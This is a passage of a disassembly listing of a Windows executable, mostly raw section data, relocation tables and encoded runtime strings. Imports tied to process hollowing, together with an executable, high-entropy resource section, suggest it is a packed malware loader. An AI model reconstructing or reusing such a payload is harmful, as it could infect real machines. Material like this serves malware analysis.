FileTimeToDosDateTimer ; BOOL __stdcall EnumCalendarInfoA(CALINFO_ENUMPROCA lpCalInfoEnumProc, LCID Locale, CALID Calendar, CALTYPE CalType) extrn __imp_EnumCalendarInfoA:dword ; DATA XREF: EnumCalendarInfoAr ; BOOL __stdcall CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes) extrn __imp_CreateDirectoryA:dword ; DATA XREF: CreateDirectoryAr ; ; Imports from user32.dll ; ; int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) extrn __imp_MessageBoxA:dword ; DATA XREF: MessageBoxAr ; int __stdcall LoadStringA_0(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int cchBufferMax) extrn __imp_LoadStringA_0:dword ; DATA XREF: LoadStringA_0r ; int __stdcall GetSystemMetrics(int nIndex) extrn __imp_GetSystemMetrics:dword ; DATA XREF: GetSystemMetricsr ; LPSTR __stdcall CharNextA_0(LPCSTR lpsz) extrn __imp_CharNextA_0:dword ; DATA XREF: CharNextA_0r ; ; Imports from ntdll.dll ; extrn __imp_RtlDecompressBuffer:dword ; DATA XREF: RtlDecompressBufferr ; ; Imports from ntdll.dll ; extrn __imp_ZwUnmapViewOfSection:dword ; DATA XREF: ZwUnmapViewOfSectionr ; ; Imports from kernel32.dll ; ; BOOL __stdcall VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) extrn __imp_VirtualProtectEx:dword ; DATA XREF: VirtualProtectExr ; Section 5. (virtual address 0000C000) ; Virtual size : 00000008 ( 8.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00008400 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 40C000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing TlsStart dd 2 dup(?) ; DATA XREF: .rdata:TlsDirectoryo TlsEnd dd 7Eh dup(?) ; DATA XREF: .rdata:TlsEnd_ptro _tls ends ; Section 6. (virtual address 0000D000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00008400 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 40D000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd offset TlsEnd TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 align 200h _rdata ends ; Section 7. (virtual address 0000E000) ; Virtual size : 00000B00 ( 2816.) ; Section size in file : 00000C00 ( 3072.) ; Offset to raw data for section: 00008600 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _reloc segment para public 'DATA' use32 assume cs:_reloc ;org 40E000h dd 1000h, 0CCh, 300C3000h, 3038302Ch, 3040303Ch, 30483044h dd 3050304Ch, 30623054h, 3072306Ah, 3082307Ah, 3092308Ah dd 30A2309Ah, 30B230AAh, 30C230BAh, 30D230CAh, 30E230DAh dd 30F230EAh, 310230FAh, 3112310Ah, 3122311Ah, 3132312Ah dd 3142313Ah, 3152314Ah, 3162315Ah, 3172316Ah, 3182317Ah dd 3192318Ah, 31A2319Ah, 31B231AAh, 31C931B8h, 31EB31D2h dd 320631F4h, 323F321Eh, 32713258h, 32973282h, 32C432A4h dd 3607351Eh, 36373630h, 370E363Eh, 37563723h, 37B837A6h dd 380F3808h, 38DE383Eh, 39893931h, 3A003994h, 3A183A07h dd 3A743A24h, 3C433C2Bh, 3C703C54h, 3C993C88h, 3EED3CA3h dd 2000h, 88h, 30F23093h, 310E3106h, 313C3124h, 317E314Ah dd 31CB319Ah, 320131F8h, 323C3233h, 32783271h, 32E7329Ah dd 3337332Bh, 33C33389h, 33DA33C9h, 33EF33E9h, 340D33FDh dd 342A3420h, 3434342Eh, 343D3438h, 344A3444h, 34583452h dd 34BE34B4h, 34EA34E5h, 351134EFh, 3530351Ah, 35633548h dd 358B3582h, 35BE35B1h, 3CD93A3Fh, 3D813CE3h, 3D953D8Ah dd 3DA23D9Ah, 3F063DAAh, 3F693F59h, 3000h, 2C8h, 31473129h dd 317F3165h, 31EF31CDh, 3371336Ah, 340F337Eh, 3423341Bh dd 3432342Ch, 3452343Fh, 3465345Fh, 34783469h, 34CC34A2h dd 34DF34DAh, 350834F8h, 352A3519h, 353B3536h, 35473540h dd 3558354Eh, 357B356Fh, 359A3588h, 35B335A7h, 35D235C0h dd 35E235DAh, 35F235EAh, 360235FAh, 3612360Ah, 3622361Ah dd 3632362Ah, 3642363Ah, 3652364Ah, 3662365Ah, 3672366Ah dd 3682367Ah, 3692368Ah, 36A2369Ah, 36B236AAh, 36CB36BFh dd 36EA36D8h, 370336F7h, 37223710h, 37303728h, 37403738h dd 37503748h, 37603758h, 37703768h, 37803778h, 37903788h dd 37A03798h, 37B037A8h, 37C037B8h, 37D037C8h, 37E037D8h dd 37F037E8h, 380037F8h, 38103808h, 38203818h, 38303828h dd 38403838h, 38503848h, 38603858h, 38703868h, 38803878h dd 38903888h, 38A03898h, 38B038A8h, 38C038B8h, 38D038C8h dd 38E038D8h, 38F038E8h, 390038F8h, 39103908h, 39203918h dd 39303928h, 39403938h, 39503948h, 39603958h, 39703968h dd 39803978h, 39903988h, 39A73998h, 39C039B3h, 39D839D2h dd 39F839E4h, 3A043A00h, 3A0C3A08h, 3A143A10h, 3A1C3A18h dd 3A2E3A20h, 3A603A40h, 3A6C3A68h, 3A743A70h, 3A7C3A78h dd 3A843A80h, 3A9C3A88h, 3AC43ABCh, 3ACC3AC8h, 3AD43AD0h dd 3ADC3AD8h, 3AE43AE0h, 3B183AF8h, 3B243B20h, 3B2C3B28h dd 3B343B30h, 3B3C3B38h, 3B503B40h, 3B783B70h, 3B803B7Ch dd 3B883B84h, 3B903B8Ch, 3B983B94h, 3BC83BA8h, 3BD43BD0h dd 3BDC3BD8h, 3BE43BE0h, 3BEC3BE8h, 3C083BF0h, 3C303C28h dd 3C383C34h, 3C403C3Ch, 3C483C44h, 3C503C4Ch, 3C803C60h dd 3C8C3C88h, 3C943C90h, 3C9C3C98h, 3CA43CA0h, 3CB83CA8h dd 3CE03CD8h, 3CE83CE4h, 3CF03CECh, 3CF83CF4h, 3D003CFCh dd 3D303D10h, 3D3C3D38h, 3D443D40h, 3D4C3D48h, 3D543D50h dd 3D6C3D58h, 3D943D8Ch, 3D9C3D98h, 3DA43DA0h, 3DAC3DA8h dd 3DB43DB0h, 3DE43DC4h, 3DF03DECh, 3DF83DF4h, 3E003DFCh dd 3E083E04h, 3E1C3E0Ch, 3E443E3Ch, 3E4C3E48h, 3E543E50h dd 3E5C3E58h, 3E643E60h, 3E943E74h, 3EA03E9Ch, 3EA83EA4h dd 3EB03EACh, 3EB83EB4h, 3ECC3EBCh, 3EF43EECh, 3EFC3EF8h dd 3F043F00h, 3F0C3F08h, 3F143F10h, 3F443F24h, 3F503F4Ch dd 3F583F54h, 3F603F5Ch, 3F683F64h, 3F803F6Ch, 3FA83FA0h dd 3FB03FACh, 3FB83FB4h, 3FC03FBCh, 3FC83FC4h, 3FFC3FDCh dd 4000h, 13Ch, 30083004h, 3010300Ch, 30183014h, 3020301Ch dd 30383024h, 30603058h, 30683064h, 3070306Ch, 30783074h dd 3080307Ch, 30B83098h, 30C430C0h, 30CC30C8h, 30D430D0h dd 30DC30D8h, 30F030E0h, 31183110h, 3120311Ch, 31283124h dd 3130312Ch, 31383134h, 316C314Ch, 31783174h, 3180317Ch dd 31883184h, 3190318Ch, 31A43194h, 31CC31C4h, 31D431D0h dd 31DC31D8h, 31E431E0h, 31EC31E8h, 32203200h, 322C3228h dd 32343230h, 323C3238h, 32443240h, 32603248h, 32883280h dd 3290328Ch, 32983294h, 32A0329Ch, 32A832A4h, 32DC32BCh dd 32E832E4h, 32F032ECh, 32F832F4h, 330032FCh, 33183304h dd 33403338h, 33483344h, 3350334Ch, 33583354h, 3360335Ch dd 33853378h, 339C338Dh, 33B133A9h, 34F233DCh, 3819369Ah dd 3821381Dh, 38293825h, 3831382Dh, 38393835h, 3841383Dh dd 38493845h, 3851384Dh, 38593855h, 39C7385Dh, 3A8F39CEh dd 3C453C19h, 3C553C4Dh, 3C653C5Dh, 3CF93CCAh, 3D183D14h dd 3D203D1Ch, 3E633D24h, 3FB73FA2h, 5000h, 0D0h, 31FE30C2h dd 321B3216h, 324A3227h, 327C3277h, 32BB3296h, 332732EDh dd 33573331h, 33923373h, 33CE33A4h, 341333E2h, 343C3422h dd 3489344Eh, 34D134A9h, 3570353Bh, 35963589h, 35BE35AFh dd 35F235D7h, 36FF362Ch, 3744373Fh, 3776374Ch, 37903787h dd 384F3845h, 38A5388Ah, 394238AEh, 3A003971h, 3A803A3Ah dd 3AB93A97h, 3ACE3AC7h, 3AED3AE6h, 3B183B00h, 3B3F3B37h dd 3B8F3B4Dh, 3BD83BADh, 3BFB3BE7h, 3C553C4Eh, 3D283CF6h dd 3D513D42h, 3E1F3E0Dh, 3E7B3E69h, 3EDB3E8Fh, 3F3C3F07h dd 3F5A3F4Bh, 3FA63F76h, 3FB73FADh, 3FC43FBDh, 3FD33FCEh dd 3FDE3FD9h, 3FE93FE4h, 3FF63FEFh, 3FFCh, 6000h, 250h dd 30073001h, 3012300Ch, 301F3019h, 30323029h, 3043303Eh dd 3058304Ch, 3066305Dh, 3078306Fh, 308A3081h, 30B930B0h dd 30CB30C2h, 310A30D0h, 3154312Ah, 318C316Eh, 31CD31A5h dd 327431E1h, 32E732BBh, 33393315h, 335E3345h, 33723368h dd 33993384h, 33A933A4h, 33BB33AEh, 33D833D1h, 33EF33EAh dd 340933FFh, 345D343Fh, 348C347Ah, 34EE34D8h, 35253517h dd 35493540h, 35773564h, 3593358Ah, 35C135AEh, 35E935CAh dd 361635F7h, 3637362Eh, 3659364Bh, 368B366Dh, 36BC36ADh dd 36ED36CAh, 371E370Fh, 3736372Eh, 3753374Bh, 377D3770h dd 385E383Eh, 3879386Eh, 3887387Fh, 38CC388Ch, 38D438D0h dd 38DC38D8h, 38E438E0h, 38EC38E8h, 38F438F0h, 38FC38F8h dd 39043900h, 390C3908h, 39143910h, 391C3918h, 39243920h dd 392C3928h, 39343930h, 393C3938h, 39443940h, 394C3948h dd 39543950h, 395C3958h, 39643960h, 396C3968h, 39743970h dd 397C3978h, 39843980h, 398C3988h, 39943990h, 399C3998h dd 39A439A0h, 39AC39A8h, 39B839B0h, 39C439BCh, 39D039C8h dd 39DC39D4h, 39E839E0h, 39F439ECh, 3A0039F8h, 3A0C3A04h dd 3A183A10h, 3A243A1Ch, 3A303A28h, 3A3C3A34h, 3A483A40h dd 3A543A4Ch, 3A603A58h, 3A6C3A64h, 3A783A70h, 3A843A7Ch dd 3A903A88h, 3A9C3A94h, 3AA83AA0h, 3AB43AACh, 3AC03AB8h dd 3ACC3AC4h, 3AD83AD0h, 3AE43ADCh, 3AF03AE8h, 3AFC3AF4h dd 3B083B00h, 3B143B0Ch, 3B203B18h, 3B2C3B24h, 3B383B30h dd 3B443B3Ch, 3B503B48h, 3B5C3B54h, 3B683B60h, 3B743B6Ch dd 3B803B78h dd 3B8C3B84h, 3B9F3B90h, 3BB63BABh, 3BD53BCAh, 3BEA3BDFh dd 3BFF3BF4h, 3C133C09h, 3C233C19h, 3C333C29h, 3C483C3Eh dd 3C5D3C53h, 3C723C68h, 3C873C7Dh, 3C9C3C92h, 3CB03CA6h dd 3CC43CBAh, 3CD83CCEh, 3CEC3CE2h, 3D083CF6h, 3D2B3D1Fh dd 3D3D3D33h, 3D503D48h, 3D7B3D55h, 3DC43D9Ah, 3E893E4Ch dd 3F473F1Ah, 3F603F53h, 3F7A3F72h, 3F8C3F82h, 3FCEh, 7000h dd 124h, 3057301Ch, 30DA30A3h, 314C3141h, 3186315Fh, 31CF31ABh dd 321831F3h, 3262323Dh, 33163287h, 34CC3493h, 361A360Fh dd 36473629h, 36A43662h, 378D3782h, 37BA379Ch, 37F137D6h dd 3829380Dh, 38643845h, 387E386Fh, 399838A3h, 3A4039F7h dd 3AFF3A9Dh, 3B243B12h, 3B2C3B28h, 3B343B30h, 3B3C3B38h dd 3B443B40h, 3B4C3B48h, 3B543B50h, 3B5C3B58h, 3B643B60h dd 3B833B6Ch, 3B9B3B90h, 3BAA3BA5h, 3BBC3BB4h, 3BDF3BCFh dd 3BFA3BF2h, 3C153C02h, 3C253C1Dh, 3C403C38h, 3C4A3C45h dd 3C623C5Dh, 3C793C6Ah, 3C9A3C95h, 3CB03CA4h, 3CCA3CC4h dd 3CE33CD4h, 3CF93CEEh, 3D2F3D20h, 3D463D3Ch, 3D613D4Bh dd 3D733D6Eh, 3D913D80h, 3DAB3D9Eh, 3DBD3DB0h, 3DDB3DCEh dd 3DED3DE0h, 3E0B3E06h, 3E233E18h, 3E603E2Fh, 3E7D3E6Dh dd 3E9D3E82h, 3EB23EA2h, 3EC63EB7h, 3EF13EE4h, 3F053EF6h dd 3F253F1Ah, 3F4F3F2Dh, 3F8B3F72h, 3FA03F9Bh, 3FAC3FA7h dd 3FC03FB3h, 9000h, 150h, 302C3028h, 30343030h, 303C3038h dd 30483040h, 3050304Ch, 30E83090h, 30F430F0h, 30FC30F8h dd 31143110h, 311C3118h, 31243120h, 312C3128h, 31343130h dd 313C3138h, 31443140h, 314C3148h, 31543150h, 315C3158h dd 31643160h, 316C3168h, 31743170h, 317C3178h, 31843180h dd 318C3188h, 31943190h, 319C3198h, 31A431A0h, 31E831E0h dd 31F831F0h, 32083200h, 32183210h, 32283220h, 32383230h dd 32483240h, 32583250h, 32683260h, 32783270h, 32883280h dd 32BC32B8h, 32C432C0h, 32CC32C8h, 32D432D0h, 32DC32D8h dd 32E432E0h, 32EC32E8h, 32F432F0h, 32FC32F8h, 33043300h dd 330C3308h, 33143310h, 331C3318h, 33243320h, 332C3328h dd 33343330h, 333C3338h, 33443340h, 334C3348h, 33543350h dd 335C3358h, 33643360h, 336C3368h, 33743370h, 337C3378h dd 33843380h, 338C3388h, 33943390h, 339C3398h, 33A433A0h dd 33AC33A8h, 33B433B0h, 33BC33B8h, 33C433C0h, 33CC33C8h dd 33D433D0h, 33DC33D8h, 33E433E0h, 33EC33E8h, 33F433F0h dd 33FC33F8h, 34043400h, 340C3408h, 34143410h, 0D000h dd 14h, 30043000h, 300C3008h, 41h dup(0) _reloc ends ; Section 8. (virtual address 0000F000) ; Virtual size : 00023A00 ( 145920.) ; Section size in file : 0001E600 ( 124416.) ; Offset to raw data for section: 00009200 ; Flags F0000060: Text Data Shareable Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 40F000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 2 dup(0) dd 4, 20000h, 6, 80000020h, 0Ah, 80000058h, 2 dup(0) dd 4, 50000h, 0FFCh, 80000088h, 0FFDh, 800000A0h, 0FFEh dd 800000B8h, 0FFFh, 800000D0h, 1000h, 800000E8h, 2 dup(0) dd 2 dup(4), 800001F0h, 80000100h, 800001F8h, 80000118h dd 80000206h, 80000130h, 80000210h, 80000148h, 2 dup(0) dd 4, 10000h, 0 dd 160h, 2 dup(0) dd 4, 10000h, 0 dd 170h, 2 dup(0) dd 4, 10000h, 0 dd 180h, 2 dup(0) dd 4, 10000h, 0 db 90h db 1, 2 dup(0) align 10h dd 4, 10000h, 0 dd 1A0h, 2 dup(0) dd 4, 10000h, 0 dd 1B0h, 2 dup(0) dd 4, 10000h, 0 dd 1C0h, 2 dup(0) dd 4, 10000h, 0 dd 1D0h, 2 dup(0) dd 4, 10000h, 0 dd 1E0h, 0F228h, 0DCh, 4E4h, 0 dd 0F304h, 0E4h, 4E4h, 0 dd 0F3E8h, 234h, 4E4h, 0 dd 0F61Ch, 378h, 4E4h, 0 dd 0F994h, 2A0h, 4E4h, 0 dd 0FC34h, 0AA58h, 4E4h, 0 dd 1A68Ch, 10h, 4E4h, 0 dd 1A69Ch, 103h, 4E4h, 0 dd 1A7A0h, 6Ch, 4E4h, 0 dd offset byte_430003 dd 310046h, 440006h, 430056h, 41004Ch, 4004Ch, 4E0049h dd 4F0046h, 50000Bh, 430041h, 41004Bh, 450047h, 4E0049h dd 4F0046h, 440008h, 630065h, 6D0065h, 650062h, 30072h dd 750053h, 3006Eh, 6F004Dh, 3006Eh, 750054h, 30065h, 650057h dd 30064h, 680054h, 30075h, 720046h, 30069h, 610053h, 60074h dd 750053h, 64006Eh, 790061h, 4D0006h, 6E006Fh, 610064h dd 70079h, 750054h, 730065h, 610064h, 90079h, 650057h dd 6E0064h, 730065h, 610064h, 80079h, 680054h, 720075h dd 640073h, 790061h, 460006h, 690072h, 610064h, 80079h dd 610053h, 750074h, 640072h, 790061h, 8 dup(0) dd offset byte_410003 dd 670075h, 530003h, 700065h, 4F0003h, 740063h, 4E0003h dd 76006Fh, 440003h, 630065h, 4A0007h, 6E0061h, 610075h dd 790072h, 460008h, 620065h, 750072h, 720061h, 50079h dd 61004Dh, 630072h, 50068h, 700041h, 690072h, 3006Ch dd 61004Dh, 40079h, 75004Ah, 65006Eh, 4A0004h, 6C0075h dd 60079h, 750041h, 750067h, 740073h, 530009h, 700065h dd 650074h, 62006Dh, 720065h, 4F0007h, 740063h, 62006Fh dd 720065h, 4E0008h, 76006Fh, 6D0065h, 650062h, 72h, 8 dup(0) dd 490019h, 76006Eh, 6C0061h, 640069h, 760020h, 720061h dd 610069h, 74006Eh, 6F0020h, 650070h, 610072h, 690074h dd 6E006Fh, 560017h, 720061h, 610069h, 74006Eh, 690020h dd 200073h, 6F006Eh, 200074h, 6E0061h, 610020h, 720072h dd 790061h, 450015h, 740078h, 720065h, 61006Eh, 20006Ch dd 780065h, 650063h, 740070h, 6F0069h, 20006Eh, 780025h dd 410010h, 730073h, 720065h, 690074h, 6E006Fh, 660020h dd 690061h, 65006Ch, 170064h, 6E0049h, 650074h, 660072h dd 630061h, 200065h, 6F006Eh, 200074h, 750073h, 700070h dd 72006Fh, 650074h, 1C0064h, 780045h, 650063h, 740070h dd 6F0069h, 20006Eh, 6E0069h, 730020h, 660061h, 630065h dd 6C0061h, 20006Ch, 65006Dh, 680074h, 64006Fh, 250010h dd 200073h, 250028h, 2C0073h, 6C0020h, 6E0069h, 200065h dd 640025h, 0E0029h, 620041h, 740073h, 610072h, 740063h dd 450020h, 720072h, 72006Fh, 41003Fh, 630063h, 730065h dd 200073h, 690076h, 6C006Fh, 740061h, 6F0069h, 20006Eh dd 740061h, 610020h, 640064h, 650072h, 730073h, 250020h dd 200070h, 6E0069h, 6D0020h, 64006Fh, 6C0075h, 200065h dd 250027h, 270073h, 20002Eh, 730025h, 6F0020h, 200066h dd 640061h, 720064h, 730065h, 200073h, 700025h, 4A0003h dd 6E0061h, 460003h, 620065h, 4D0003h, 720061h, 410003h dd 720070h, 4D0003h, 790061h, 4A0003h, 6E0075h, 4A0003h dd 6C0075h, 8 dup(0) dd 490019h, 76006Eh, 6C0061h, 640069h, 700020h, 69006Fh dd 74006Eh, 720065h, 6F0020h, 650070h, 610072h, 690074h dd 6E006Fh, 490016h, 76006Eh, 6C0061h, 640069h, 630020h dd 61006Ch, 730073h, 740020h, 700079h, 630065h, 730061h dd 300074h, 630041h, 650063h, 730073h, 760020h, 6F0069h dd 61006Ch, 690074h, 6E006Fh, 610020h, 200074h, 640061h dd 720064h, 730065h, 200073h, 700025h, 20002Eh, 730025h dd 6F0020h, 200066h, 640061h, 720064h, 730065h, 200073h dd 700025h, 53000Eh, 610074h, 6B0063h, 6F0020h, 650076h dd 660072h, 6F006Ch, 0D0077h, 6F0043h, 74006Eh, 6F0072h dd 2D006Ch, 200043h, 690068h, 160074h, 720050h, 760069h dd 6C0069h, 670065h, 640065h, 690020h, 73006Eh, 720074h dd 630075h, 690074h, 6E006Fh, 450028h, 630078h, 700065h dd 690074h, 6E006Fh, 250020h, 200073h, 6E0069h, 6D0020h dd 64006Fh, 6C0075h, 200065h, 730025h, 610020h, 200074h dd 700025h, 0D002Eh, 25000Ah, 250073h, 0D0073h, 11000Ah dd 700041h, 6C0070h, 630069h, 740061h, 6F0069h, 20006Eh dd 720045h, 6F0072h, 310072h, 6F0046h, 6D0072h, 740061h dd 270020h, 730025h, 200027h, 6E0069h, 610076h, 69006Ch dd 200064h, 72006Fh, 690020h, 63006Eh, 6D006Fh, 610070h dd 690074h, 6C0062h, 200065h, 690077h, 680074h, 610020h dd 670072h, 6D0075h, 6E0065h, 1B0074h, 6F004Eh, 610020h dd 670072h, 6D0075h, 6E0065h, 200074h, 6F0066h, 200072h dd 6F0066h, 6D0072h, 740061h, 270020h, 730025h, 220027h dd 610056h, 690072h, 6E0061h, 200074h, 65006Dh, 680074h dd 64006Fh, 630020h, 6C0061h, 73006Ch, 6E0020h, 74006Fh dd 730020h, 700075h, 6F0070h, 740072h, 640065h, 520004h dd 610065h, 50064h, 720057h, 740069h, 1C0065h, 720045h dd 6F0072h, 200072h, 720063h, 610065h, 690074h, 67006Eh dd 760020h, 720061h, 610069h, 74006Eh, 610020h, 720072h dd 790061h, 560021h, 720061h, 610069h, 74006Eh, 610020h dd 720072h, 790061h, 690020h, 64006Eh, 780065h, 6F0020h dd 740075h, 6F0020h, 200066h, 6F0062h, 6E0075h, 730064h dd 49001Fh, 76006Eh, 6C0061h, 640069h, 760020h, 720061h dd 610069h, 74006Eh, 740020h, 700079h, 200065h, 6F0063h dd 76006Eh, 720065h, 690073h, 6E006Fh, 8 dup(0) aOutOfMemory: dw 0Dh unicode 0, <Out of memory> dd 49000Ch, 4F002Fh, 650020h, 720072h, 72006Fh, 250020h dd 0E0064h, 690046h, 65006Ch, 6E0020h, 74006Fh, 660020h dd 75006Fh, 64006Eh, 490010h, 76006Eh, 6C0061h, 640069h dd 660020h, 6C0069h, 6E0065h, 6D0061h, 130065h, 6F0054h dd 20006Fh, 61006Dh, 79006Eh, 6F0020h, 650070h, 20006Eh dd 690066h, 65006Ch, 120073h, 690046h, 65006Ch, 610020h dd 630063h, 730065h, 200073h, 650064h, 69006Eh, 640065h dd 520017h, 610065h, 200064h, 650062h, 6F0079h, 64006Eh dd 650020h, 64006Eh, 6F0020h, 200066h, 690066h, 65006Ch dd 440009h, 730069h, 20006Bh, 750066h, 6C006Ch, 490015h dd 76006Eh, 6C0061h, 640069h, 6E0020h, 6D0075h, 720065h dd 630069h, 690020h, 70006Eh, 740075h, 440010h, 760069h dd 730069h, 6F0069h, 20006Eh, 790062h, 7A0020h, 720065h dd 11006Fh, 610052h, 67006Eh, 200065h, 680063h, 630065h dd 20006Bh, 720065h, 6F0072h, 100072h, 6E0049h, 650074h dd 650067h, 200072h, 76006Fh, 720065h, 6C0066h, 77006Fh dd 490020h, 76006Eh, 6C0061h, 640069h, 660020h, 6F006Ch dd 740061h, 6E0069h, 200067h, 6F0070h, 6E0069h, 200074h dd 70006Fh, 720065h, 740061h, 6F0069h, 1F006Eh, 6C0046h dd 61006Fh, 690074h, 67006Eh, 700020h, 69006Fh, 74006Eh dd 640020h, 760069h, 730069h, 6F0069h, 20006Eh, 790062h dd 7A0020h, 720065h, 17006Fh, 6C0046h, 61006Fh, 690074h dd 67006Eh, 700020h, 69006Fh, 74006Eh, 6F0020h, 650076h dd 660072h, 6F006Ch, 180077h, 6C0046h, 61006Fh, 690074h dd 67006Eh, 700020h, 69006Fh, 74006Eh, 750020h, 64006Eh dd 720065h, 6C0066h, 77006Fh, 8 dup(0) dd 3131DDC4h, 8B7E7030h, 343231C1h, 31353431h, 31303034h dd 3831E933h, 0E1543171h, 503F3431h, 32313FEBh, 52FE3AE5h dd 0FE7D32E9h, 9A998552h, 0A3A151A4h, 92A398A0h, 9294519Eh dd 0A5A09F9Fh, 51969351h, 519FA6A3h, 75519F9Ah, 9E518480h dd 5F9695A0h, 553B3E3Eh, 968E3831h, 354AF92Eh, 2 dup(354ACCC4h) dd 4CC8CCC4h, 3542CCB1h, 5516CCC4h, 3549CCB2h, 9A83CCC4h dd 354A9994h, 3931CCC4h, 33317681h, 3133327Dh, 0F5F132h dd 11393176h, 32403231h, 3D36323Ch, 0DC053D31h, 713C3133h dd 31413331h, 33313334h, 35383135h, 0EC763831h, 33333133h dd 31333731h, 33314136h, 41353141h, 31413331h, 3C314137h dd 3133E8FBh, 0A4315932h, 9492A15Fh, 3195969Ch, 33313334h dd 51473141h, 5F913331h, 92817D83h, 32319C94h, 3431DC76h dd 32313341h, 3431DC76h, 513F3133h, 31113331h, 0AD35B3Ah dd 0DDCD48B9h, 0CEB71C9h, 0B6453B70h, 67C322A1h, 0AB45DD26h dd 612F27A2h, 6618FE1Fh, 9BAFBA4Eh, 4C6D734Eh, 157F7AEDh dd 214AA68Dh, 41DBE633h, 1F94B77Fh, 60197C61h, 0DE69B1C0h dd 85ED8397h, 0D24A873Bh, 0C32353A3h, 0DE7E0D14h, 0DE43574Ch dd 0E2C7FAB4h, 3995BFCFh, 0BFFDA0E3h, 2E3F06D8h, 25D42D29h dd 0D143666Ah, 766BB841h, 592D0B19h, 0F1A8B0EFh, 907D6E30h dd 31F3975Ah, 2D69B932h, 341351BFh, 9646FC1Ch, 82F675A8h dd 0CD67459Ah, 0ECDA88CAh, 0CDB0441Ah, 0AA65DBD3h, 0CBD02C90h dd 0EFF682F2h, 32222273h, 14CD2215h, 269A2380h, 7FC5DA03h dd 0A02F9C81h, 0B73A1BEBh, 0E73AD8FDh, 52075883h, 76F6A2ADh dd 68EB8CB4h, 7CB0B616h, 0C5D55951h, 0AD785FE6h, 2F0D9205h dd 0E799EAB0h, 1B04D66Fh, 5AB3B28h, 0CF0CD27Ah, 9DCF01E2h dd 6DDDF7A5h, 6006CD1Eh, 0CEB74EFFh, 6D2FCA7Fh, 0D7946F6Ah dd 0D25C505Bh, 0ECE87B50h, 0B9B484DCh, 6F8BB25Ah, 0B6A026E9h dd 76EB249Dh, 780767B0h, 0BBAB8918h, 605D5B86h, 6A393231h dd 7336851Ah, 2C07DA80h, 9698B196h, 3A352F9Ah, 0CCD5D962h dd 99B528D1h, 8157B653h, 67AE3D3Dh, 89230051h, 89410FC5h dd 0A5663F2Fh, 0E5A6F82Bh, 9E93B185h, 3F81992Bh, 0F9F0CEC7h dd 9B2CF880h, 5CFBD2F4h, 3F08CA99h, 1F27EE00h, 2B62147Dh dd 98F630F5h, 85778496h, 8C37A9F9h, 0A0B3940Dh, 0F9AAA46Ah dd 0E625AFF3h, 19E3725Eh, 8E788D15h, 834957E6h, 6CC3BA67h dd 77544C68h, 3165888Dh, 2B0E9032h, 5CFEFBFh, 8EC845C0h dd 0E436AE7Fh, 0B5100984h, 722DDC76h, 0E1283231h, 0DC2109D7h dd 518E2B97h, 24A4ACBEh, 0CE4F3EF1h, 0E89BAD03h, 3759F642h dd 1FD719F6h, 2ABDEA82h, 0E9323C0Eh, 4EB8456Fh, 2D1F81F3h dd 14EA3D00h, 9D22C12Ah, 7479912Eh, 0C59AC73Ah, 2B95B7E8h dd 9ED2FEEBh, 84FC13E7h, 0D91C07B1h, 894A3E7Eh, 6719BB6Eh dd 0CC02AF9Ah, 0C0919EC1h, 0BAC2523Eh, 0AFC2E16Fh, 0DDA144Fh dd 0A1C59D36h, 1C6C48E2h, 0C0B5C3DCh, 10446135h, 449F1003h dd 0FF8B8E2Fh, 28BAFAFEh, 91C9E5D5h, 95956A1Bh, 5E42E993h dd 0AEA16703h, 32313CDAh, 68C742C8h, 500CBC0Eh, 5D5EDBB6h dd 40B14D6Bh, 83481578h, 1EF53F39h, 633BEFA9h, 74548A0Fh dd 4AAAEFEBh, 21E9BB36h, 0FED576E0h, 7611BDE0h, 8CB044ACh dd 7FFFF2ECh, 9ABCA213h, 0F0778377h, 61035A15h, 0DDFFAF2Ch dd 0D54CDBD8h, 0F58D96FCh, 0A8EDA61Ch, 0EA27FEFh, 97F92C49h dd 31D8B543h, 0FC934032h db 0BBh, 6Bh, 47h byte_410003 db 0DAh ; DATA XREF: .rsrc:0040F304o dd 209E5D78h, 2B62A762h, 0CB610973h, 16D8CA0h, 9A9DC8C1h dd 0C51985C2h, 0DAB07AA0h, 0E0ACCD76h, 8B13F509h, 136D89Dh dd 4BAAC3E0h, 0E79CF492h, 0B2265742h, 6DAD7E2Eh, 484AA953h dd 435C3542h, 754C75ACh, 0B07AF8E2h, 2FD7E881h, 3378E2BAh dd 54133C34h, 0ECA8338Eh, 44DB9C6Ch, 38124AABh, 0D4AD99E0h dd 0B0C2C4DEh, 0FE9027F0h, 8C9DD16h, 784EE525h, 0DDB9BCC4h dd 0E864BCE2h, 0B04DA579h, 0F67CAE55h, 0F1DEDDF5h, 9574793Ch dd 61E8AF03h, 0ECB7D413h, 1FBD8B72h, 1745D996h, 92222570h dd 0C2BD646h, 0B6DD1C88h, 0FCD4268Bh, 0DFA14F32h, 0BA663AD3h dd 2799C2F0h, 0F15327CAh, 0C526D933h, 0AB21909Bh, 4AC105ABh dd 0DD30B84Dh, 5B078BB6h, 3D3C9ED2h, 98F15161h, 88A18351h dd 0FBA9C35Fh, 3303A8F4h, 7C34E12Dh, 17996C11h, 0FA544885h dd 8ADE57A5h, 5D7CFF2Eh, 0F686CC90h, 0EEFB965h, 3231EDE2h dd 454A3274h, 6557B327h, 35F25D55h, 4D15E5D4h, 0F3F224CCh dd 78913454h, 